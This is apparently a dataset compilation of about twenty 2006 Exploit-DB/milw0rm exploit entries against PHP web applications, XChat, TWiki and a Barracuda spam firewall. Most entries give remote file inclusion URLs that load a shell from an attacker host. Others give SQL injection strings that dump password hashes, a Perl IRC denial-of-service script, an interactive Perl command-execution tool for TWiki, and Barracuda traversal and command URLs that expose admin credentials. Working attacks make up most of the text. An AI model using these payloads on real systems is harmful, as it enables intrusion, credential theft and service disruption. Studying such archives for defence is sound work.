QLWD/code_shield huggingface dataset:
标题: Chaussette 080706 - '_BASE' Remote File Inclusion EDB-ID: 2169 CVE: 2006-4216 2006-4159 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: Chaussette Remote File Inclusion

CreW: ToXiC
Bug Found By Drago84

Source Code:
http://freshmeat.net/redir/chaussette/64502/url_zip/chaussette.zip

Page Affect
/Classes/Evenement.php
/Classes/Event.php
/Classes/Event_for_month.php
/Classes/Event_for_month_per_day.php
/Classes/Event_for_week.php
/Classes/My_Log.php
/Classes/My_Smarty.php

Problem Is :
$_BASE Not Declare;


ExP:
http://www.site.com/dir_Chaussette/Classes/Evenement.php?_BASE=http://www.evalsite.com/shell.php
http://www.site.com/dir_Chaussette/Classes/Event.php?_BASE=http://www.evalsite.com/shell.php
http://www.site.com/dir_Chaussette/Classes/Event_for_month.php?_BASE=http://www.evalsite.com/shell.php
http://www.site.com/dir_Chaussette/Classes/Event_for_week.php?_BASE=http://www.evalsite.com/shell.php
http://www.site.com/dir_Chaussette/Classes/My_Log.php?_BASE=http://www.evalsite.com/shell.php
http://www.site.com/dir_Chaussette/Classes/My_Smarty.php?_BASE=http://www.evalsite.com/shell.php

Greatz: Str0ke

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2169
标题: Mambo Component MMP 1.2 - Remote File Inclusion EDB-ID: 2182 CVE: 2006-4203 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-14 漏洞利用脚本: ####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_mmp Component (mosConfig_absolute_path) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: help.mmp.php?, line 12

<?php
       global $mosConfig_absolute_path;
       require $mosConfig_absolute_path .
"/administrator/components/com_mmp/diagnostics.mmp.php";
       diagnostics();
?>

Exploit:
http://www.site.com/[path]/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=http://site.com/evilscript.txt?

####################################################

Greetz: Cyber-warrior TIM USERS and xoron

####################################################

# milw0rm.com [2006-08-14] URL: https://www.exploit-db.com/exploits/2182
标题: VWar 1.50 R14 - 'online.php' SQL Injection EDB-ID: 2170 CVE: 2007-2312 2006-4142 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 1o.o8.2oo6 ..
 
 
  Affected Application: VWar <= v1.50 R14
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: brOmstar
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: brom0815@gmx.de
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [ ]  SQL Injection [x]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: VWar
 
  Version: <= v1.50 R14
 
  Vulnerable File: extra/online.php

  Vulnerable Variable: n
 
  URL: http://www.vwar.de
 
  Description: Virtual War is a tool for gaming clans.
 
  Dork: intext:"Powered by: Virtual War v1.5.0"



 . . :[ code snippet ]: . . . . . . . . . . . . . . . . . . . . . . . . .


  line 63: $query = $vwardb->query("

  line 64: SELECT memberid, name, lastactivity

  line 65: FROM vwar".$n."_member WHERE lastactivity > ".(time() - 

                $onlinetime * 60)."

  line 66: ");

 

 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 

  example: if you want a list of userid/username/password's try this:


  http://www.vwar.de/demo/extra/online.php?n=_member%20WHERE%20memberid=-999%20UNION%20SELECT%200,CONCAT(memberid,0x3A,name,0x3A,password),2%20FROM%20vwar_member%20%20/*
 
  
  encrypt the md5-password again with md5 and throw it in a cookie... :-)
 


 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open extra/online.php
 
  o2.) take a look at the following lines:

       41: if( !defined ("VWAR_COMMON_INCLUDED") )
  
       42: {

       43: $vwar_root = $vwar_xroot;

       44: require_once ( $vwar_root . "includes/functions_common.php" );

       45: }
 
  o3.) add between line 44 and 45 this:

       require_once ( $vwar_root . "includes/_config.inc.php" );
 
  o4.) done!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  buzzdee, camino and my lovely, sexy girlfriend!

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2170
标题: Tagger Luxury Edition - 'BBCodeFile' Remote File Inclusion EDB-ID: 2157 CVE: 2006-4437 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-09 漏洞利用脚本: Tagger v3 <= BBCodeFile Remote file inclusion

Discovered by : Morgan

Error in : tags.php
include($BBCodeFile);

Vendor Website: http://www.venturenine.com

PoC: 
http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat?

Google dork:

intitle:"Tagger LE" inurl:tags.php

Visit us :

www.ehmorgan.net
irc.gigachat.net
#Morgan 

# milw0rm.com [2006-08-09] URL: https://www.exploit-db.com/exploits/2157
标题: Spaminator 1.7 - 'page' Remote File Inclusion EDB-ID: 2165 CVE: 2006-4158 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: Spaminator 1.7. ($page) Remote File Include
CreW: ToXiC
BuG Found By Drago84

SourcE CodE:
http://freshmeat.net/redir/spaminator/16281/url_tgz/spaminator-1.7.tar.gz

Page Affect is:
/src/Login.php

Problem is
   include "$page.php";

Path :
Declare $page

ExpL:
http://server/dir_spaminator/src/Login.php?page=http://www.evalsite.com/shell.php?

Greatz:str0ke

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2165
标题: See-Commerce 1.0.625 - 'owimg.php3' Remote File Inclusion EDB-ID: 2155 CVE: 2006-4121 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-09 漏洞利用脚本: See-Commerce Remote File Inclusion

CreW: ToXiC

Bug Found by Drago84

Source Code:
http://freshmeat.net/redir/seecommerce/14016/url_zip/sc-1.0.625.zip

Problem Is:
require($path."/ow.inc");

Page Affect:
http://[site]/[see-commerce directory]/owimg.php3?path=[evil script]

Greatz : Str0ke

# milw0rm.com [2006-08-09] URL: https://www.exploit-db.com/exploits/2155
标题: Thatware 0.4.6 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 2166 CVE: 2006-4213 2002-2298 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: Thatware  0.4.6 (root_path) Remote File Inclusion

CreW: ToXiC

Bug Found by Drago84

Source Code:
http://ufpr.dl.sourceforge.net/sourceforge/thatware/thatware_0.4.6.tar.gz

Page Affect
config.php

ExP:
http://server/dir_thatware/config.php?root_path=http://server/shell.php'

Greatz: str0ke

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2166
标题: phpPrintAnalyzer 1.2 - Remote File Inclusion EDB-ID: 2168 CVE: 2006-4164 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: #title: phpPrintAnalyzer Inclusion Vulnerability
 
#Author: Cmaster4 #batamhacker irc.dal.net
 
#script: phpPrintAnalyzer
 
#Class : Remote
 
#cont@ct: gaul@enet.com.cn
 
#Exploit:
http://server/[path]/inc/header.inc.php?ficStyle=[evilcode]

Thx to :
#batamhacker crew on dal.net h4ntu, havincaz, baylaw and all indonesian underground hacker

# milw0rm.com [2006-08-10] URL: https://www.exploit-db.com/exploits/2168
标题: TinyWebGallery 1.5 - 'image' Remote File Inclusion EDB-ID: 2158 CVE: 2006-4166 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-09 漏洞利用脚本: ####################################################
#                                                  #
#                                                  #
#           C Y B E R - W A R R i O R   T I M      #
#                                                  #
#                                                  #
####################################################


TinyWebGallery v1.5 ( image ) Remote Include Vulnerability
------------------------------------------------------------------------------
Author: xoron
------------------------------------------------------------------------------
Script: TinyWebGallery
------------------------------------------------------------------------------
Class: Remote
------------------------------------------------------------------------------
cont@ct: x0r0n[at]hotmail[dot]com
------------------------------------------------------------------------------
CODE:

<?php
include ($image . ".txt");
?>

------------------------------------------------------------------------------
google dork: "powered by twg"
------------------------------------------------------------------------------

Exploit:
http://www.site.com/[path]/examples/image.php?image=http://evil_scripts

http://www.site.com/[path]/examples/examples/image.php2?image=http://evil_scripts?

###########################################################################
#                                                                         #
#Greetz: str0ke, Preddy, Iron, x-master, DJR, R3D4C!D and all my friends  #
#                                                                         #
###########################################################################

# milw0rm.com [2006-08-09] URL: https://www.exploit-db.com/exploits/2158
标题: PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion EDB-ID: 2154 CVE: 2006-4115 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-09 漏洞利用脚本: ####################################################
#
#
#           C Y B E R - W A R R i O R   T I M
#
#
####################################################

PgMarket 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerabilities

####################################################

Author: xoron

####################################################

Class : Remote

####################################################

cont@ct: x0r0n[at]hotmail[dot]com

####################################################

Code:

include ($CFG["libdir"] . "stdlib.inc.php");

####################################################

Exploit:
http://server/[path]/common.inc.php?CFG[libdir]=http://evil_scripts?

####################################################

Greetz: str0ke, Preddy, Iron, x-master, DJR, R3D4C!D and all my friends

####################################################

# milw0rm.com [2006-08-09] URL: https://www.exploit-db.com/exploits/2154
标题: XChat 2.6.7 (Windows) - Remote Denial of Service EDB-ID: 2147 CVE: 2006-4455 类型: DOS 平台: WINDOWS 发布日期: 2006-08-08 漏洞利用脚本: #!/usr/bin/perl

# rewritten because perl is more elegant than php
# payload taken from original that ratboy submitted

use strict;
use Net::IRC;

my ($nick, $server, $port, $channel, $victim) = @ARGV;

my $irc = new Net::IRC;
my $connect = $irc -> newconn (Nick => "$nick",
Server => "$server",
Port => $port,
Ircname=> 'whatever')
or die "$0: Error\n";

my $payload = "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82";        

sub on_connect {
 my $self = shift;
 
 $self->join("#".$channel);
 $self->privmsg($victim, "$payload");
}

$connect->add_handler('376', \&on_connect);
$irc->start();

# milw0rm.com [2006-08-08] URL: https://www.exploit-db.com/exploits/2147
标题: Cwfm 0.9.1 - 'Language' Remote File Inclusion EDB-ID: 2151 CVE: 2006-4077 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-08 漏洞利用脚本: +--------------------------------------------------------------------
+
+ Cwfm-0.9.1 (Language) Remote File Inclusion
+
+ Original advisory:
+
+ http://www.bb-pcsecurity.de/Websecurity/301/org/Cwfm-0.9.1_(Language)_Remote_File_Inclusion.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: Cwfm 0.9.1
+ Venedor ...........: http://cwfm.sourceforge.net/
+ Class .............: Remote File Inclusion in /CheckUpload.php
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+                      http://www.bb-pcsecurity.de
+
+--------------------------------------------------------------------
+
+ Code /CheckUpload.php
+
+ .....
+ session_start();
+ include_once("Global.php");
+ //include_once("lang/$Language.php");
+ include_once("$Language.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $Language is not properly sanitized before being used.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Declare $Language before using, include config-file or
+ denie direct access to the vuln file.
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/CheckUpload.php?Language=http://evilsite.com/dblib.php/&cmd=ls
+
+--------------------------------------------------------------------
+
+ Note:
+ Venedor contacted, but no response. So do a dirty patch.
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-08] URL: https://www.exploit-db.com/exploits/2151
标题: CLUB-Nuke [XP] 2.0 LCID 2048 (Turkish Version) - SQL Injection EDB-ID: 2150 CVE: 2006-4072 类型: WEBAPPS 平台: ASP 发布日期: 2006-08-08 漏洞利用脚本: # CLUB-Nuke [XP] v2.0 LCID 2048 (Turkish Version) SQL Injection Vulnerability
# Risk   : High
# Credit : ASIANEAGLE
# Contact: admin@asianeagle.org
# Web    : www.asianeagle.org
# Download Link : http://www.aspindir.com/Kategoriler/asp/portal-&-hazir-site/?P=7&K=&T=


#Exploit:
Note : User Logins Must Be Enabled By Admin To Exploit This Vulnerability

#Admin Nick: http://[SITE]/club-nuke path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_ADI,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201

#Admin Password :http::[SITE]/club-nuke path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_SIFRE,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201

after login as user;

#Admin Nick    : http://[SITE]/club-nuke path/menu.asp?menu_id=-1%20union%20select%200,1,U_ADI,3,4,5%20from%20UYELER%20where%20U_ID%20like%201

#Admin Password: http://[SITE]/club-nuke path/menu.asp?menu_id=-1%20union%20select%200,1,U_SIFRE,3,4,5%20from%20UYELER%20where%20U_ID%20like%201

#Forever milw0rm ;)

# milw0rm.com [2006-08-08] URL: https://www.exploit-db.com/exploits/2150
标题: Boite de News 4.0.1 - 'index.php' Remote File Inclusion EDB-ID: 2153 CVE: 2006-4123 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-09 漏洞利用脚本: ########################################################################
#  Boite de News v4.0.1  Remote File Inclusion Vulnerability
#
#  Download: ftp://ftp1.comscripts.com/PHP/1801_boiteden-401.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/boitenews4/index.php?url_index=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-09] URL: https://www.exploit-db.com/exploits/2153
标题: TWiki 4.0.4 - 'configure' Remote Command Execution EDB-ID: 2143 CVE: 2006-3819 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: #!/usr/bin/perl 
# Tue Aug  1 13:18:12 CEST 2006 jolascoaga@514.es
use strict;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Request;
use HTTP::Response;
use Getopt::Long;
$| = 1;   # couse 1 is bigger than 0
my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$dir, $command);
my $options = GetOptions (
  'host=s'       => \$host, 
  'dir=s'       => \$dir,
  'proxy=s'           => \$proxy,
  'proxy_user=s'      => \$proxy_user,
  'proxy_pass=s'      => \$proxy_pass,
  'debug'             => \$debug);
&help unless ($host); # you dont need root
$dir = "/twiki/bin/configure" unless($dir); # ... we have a template for this
print "$host - $dir\n";
while () {
  print "tinkiwinki> "; # phf haquerz style
  while(<STDIN>) {
    $command=$_;
    chomp($command);
    last;
  }
  &send($command);
}

sub send {
    my ($cmd) = @_;
    my $ok = 0;
    my $socket;
    LWP::Debug::level('+') if $debug; # but remember this is crap :D
    my $ua = new LWP::UserAgent();   
    $ua->agent("safari/zoo"); 
    if ($host !~ /^http/) {
 $host = sprintf ("http://%s", $host); # CRAP CRAP CRAP
    }
    my $req = HTTP::Request->new(POST => $host.$dir);
    $req->content('action=update&TYPEOF%3A%29%3Bsystem%28%27'.$cmd.'%27%29%3Bmy+@a%3D%28=anything&submit=Submit');
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    print $req->as_string() if $debug; 
    my $res = $ua->request($req);
    my $html = $res->content(); 
    $html =~ m/<body.*?>(.*?)<div/si; # <pus>
    print $1."\n";
    if ($debug) {
  open (DEBG, ">wikidebug");
  print DEBG $html;
    }
}
sub help {
    print "Syntax: ./$0 --host=url --dir=/horde [options]\n";
    print "\t--proxy (http), --proxy_user, --proxy_pass\n";
    print "\t--debug\n";
    print "the default directory is /twiki/bin/configure\n";
    print "\nExample\n";
    print "bash# $0 --host=http(s)://www.server.com/\n";
    print "\n";
    exit(1);
}
exit 0;
# <END OF EXPLOIT>

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2143
标题: Visual Events Calendar 1.1 - 'cfg_dir' Remote File Inclusion EDB-ID: 2141 CVE: 2006-4060 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: #title: Visual Events Calendar v1.1   (cfg_dir) Remote Inclusion Vulnerability

#Author: xoron

#script: Visual Events Calendar v1.1

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include $cfg_dir."customize_text.php";

#Exploit: http://www.site.com/[path]/calendar.php?cfg_dir=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: str0ke, ShiKaA , DJR , x-mastER ,R3D4c!D ,

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2141
标题: Hitweb 4.2.1 - 'REP_INC' Remote File Inclusion EDB-ID: 2149 CVE: 2006-4113 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-08 漏洞利用脚本: Hitweb 4.2 Remote Include File

CreW: ToxiC

Bug Found By Drago84

Sorce Code:
http://freshmeat.net/redir/hitweb/15633/url_tgz/hitweb-4.2_php.tgz

Problem is:
include "$REP_INC/lib_database.php";

Page:
genpage-cgi.php

Path:
Declare $REP_INC

Expl:
http://www.site.com/dir_hitweb/genpage-cgi.php?REP_INC=http://www.evalsite.com/shell.php?

Greatz:Str0ke

# milw0rm.com [2006-08-08] URL: https://www.exploit-db.com/exploits/2149
标题: phNNTP 1.3 - 'article-raw.php' Remote File Inclusion EDB-ID: 2148 CVE: 2006-4103 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-08 漏洞利用脚本: phNNTP v1.3 Remote File Inclusion

CreW: ToxiC

Bug Found By Drago84

Source Code:
http://freshmeat.net/redir/phnntp/16290/url_tgz/phNNTP-v1.3.tar.gz

Problem Is:
require("$file_newsportal");

Page Affect:
article-raw.php

Path:
Declare file_newsportal

ExP:
http://server/Dir_phNNTP/article-raw.php?file_newsportal=http://www.evalsite.com/shell.php?

Greatz: Str0ke

# milw0rm.com [2006-08-08] URL: https://www.exploit-db.com/exploits/2148
标题: PHPCodeCabinet 0.5 - 'Core.php' Remote File Inclusion EDB-ID: 2139 CVE: 2006-4044 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: >From Minion:

PHPCodeCabinet (all versions) is vulnerable to a remote file include.

The vulnerable code is in /include/Beautifier/Core.php

an $BEAUT_PATH Was not properly scrubbed, so they got owned.

Proof of concept:

http://target/phpcodecabinet_directory/include/Beautifier/Core.php?BEAUT_PATH=*evilsite*/Beautifier/HFile.php

HFile.php would be your php shell.

Shouts to XoRcrew & Disruptiv.

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2139
标题: Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution (2) EDB-ID: 2145 CVE: 2006-4081 类型: REMOTE 平台: HARDWARE 发布日期: 2006-08-08 漏洞利用脚本: Title: Barracuda Arbitrary File Disclosure + Command Execution
Severity: High (Sensitive Information Disclosure)
Date: 01 August 2006
Version Affected: Barracuda Spam Firewall version 3.3.01.001 to 3.3.03.053
Discovered by: Greg Sinclair
Credits: Matthew Hall
Update: 07 August 2006
Updated by: PATz
 
####################################################################
 
Proof of Concept:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|
 
 
####################################################################
 
#using |unix| for command execution:
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/|uname%20-a|

#admin login/pass vuln
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog|cat%20update_admin_passwd.pl|
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../bin/update_admin_passwd.pl
 
eg.

#`/home/emailswitch/code/firmware/current/bin/updateUser.pl guest phteam99 2>&1`;
login: guest pass: phteam99

some folder are accessible via http without permission
https://<deviceIP>/Translators/
https://<deviceIP>/images/
https://<deviceIP>/locale
https://<deviceIP>/plugins
https://<deviceIP>/help
 
#stuff in do_install
 
/usr/sbin/useradd support -s /home/emailswitch/code/firmware/current/bin/request_support.pl -p swUpHFjf1MUiM
 
## Create backup tmp dir

/bin/mkdir -p /mail/tmp/backup/
chmod -R 777 /mail/tmp/
 
## Create smb backup mount point
/bin/mkdir -p /mnt/smb/
chmod 777 /mnt/smb/
 
.................................
Greetz to all noypi and phteam ^^,
.............eof.................

# milw0rm.com [2006-08-08] URL: https://www.exploit-db.com/exploits/2145
标题: ZoneX 1.0.3 - Publishers Gold Edition Remote File Inclusion EDB-ID: 2142 CVE: 2006-4036 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: ///////////////////CYBER-WARRiOR.ORG\\\\\\\\\\\\\\\\\\\\\
#ZoneX 1.0.3 - Publishers Gold Edition  Remote File Inclusion Vulnerability
-
#Author: xoron
-
#script: ZoneX 1.0.3 - Publishers Gold Edition
-
#Class : Remote
-
#cont@ct: x0r0n[at]hotmail[dot]com
-
#CODE:    include($phpbb_root_path . 'newsletter/scripts/subscriptions.' .$phpEx)
-
#Exploit: http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://evil_scripts?
-
#Thanx : WWW.CYBER-WARRiOR.ORG
-
#Greetz: DJR, x-mastER, R3D4C!D and all cyber-warrior users.
///////////////////CYBER-WARRiOR.ORG\\\\\\\\\\\\\\\\\\\\\

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2142
标题: docpile:we 0.2.2 - 'INIT_PATH' Remote File Inclusion EDB-ID: 2146 CVE: 2006-4075 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-08 漏洞利用脚本: ***********************************
TiTLE: docpile:we  v0.2.2 (INIT_PATH) Remote File Inclusion Vulnerability
-
Author: xoron
-
Class : Remote
-
cont@ct: x0r0n[at]hotmail[dot]com
-
URL: http://docpile-we.berlios.de
-
Exploit:
http://www.site.com/[path]/lib/folder.class.php?INIT_PATH=http://evil_script?
http://www.site.com/[path]/lib/email.inc.php?INIT_PATH=http://evil_script?
http://www.site.com/[path]/lib/document.class.php?INIT_PATH=http://evil_script?
http://www.site.com/[path]/lib/auth.inc.php?INIT_PATH=http://evil_script?
-
Greetz: str0ke, Preddy, Iron, x-master, DJR, R3D4C!D , sakkkure
***************************************************

# milw0rm.com [2006-08-08] URL: https://www.exploit-db.com/exploits/2146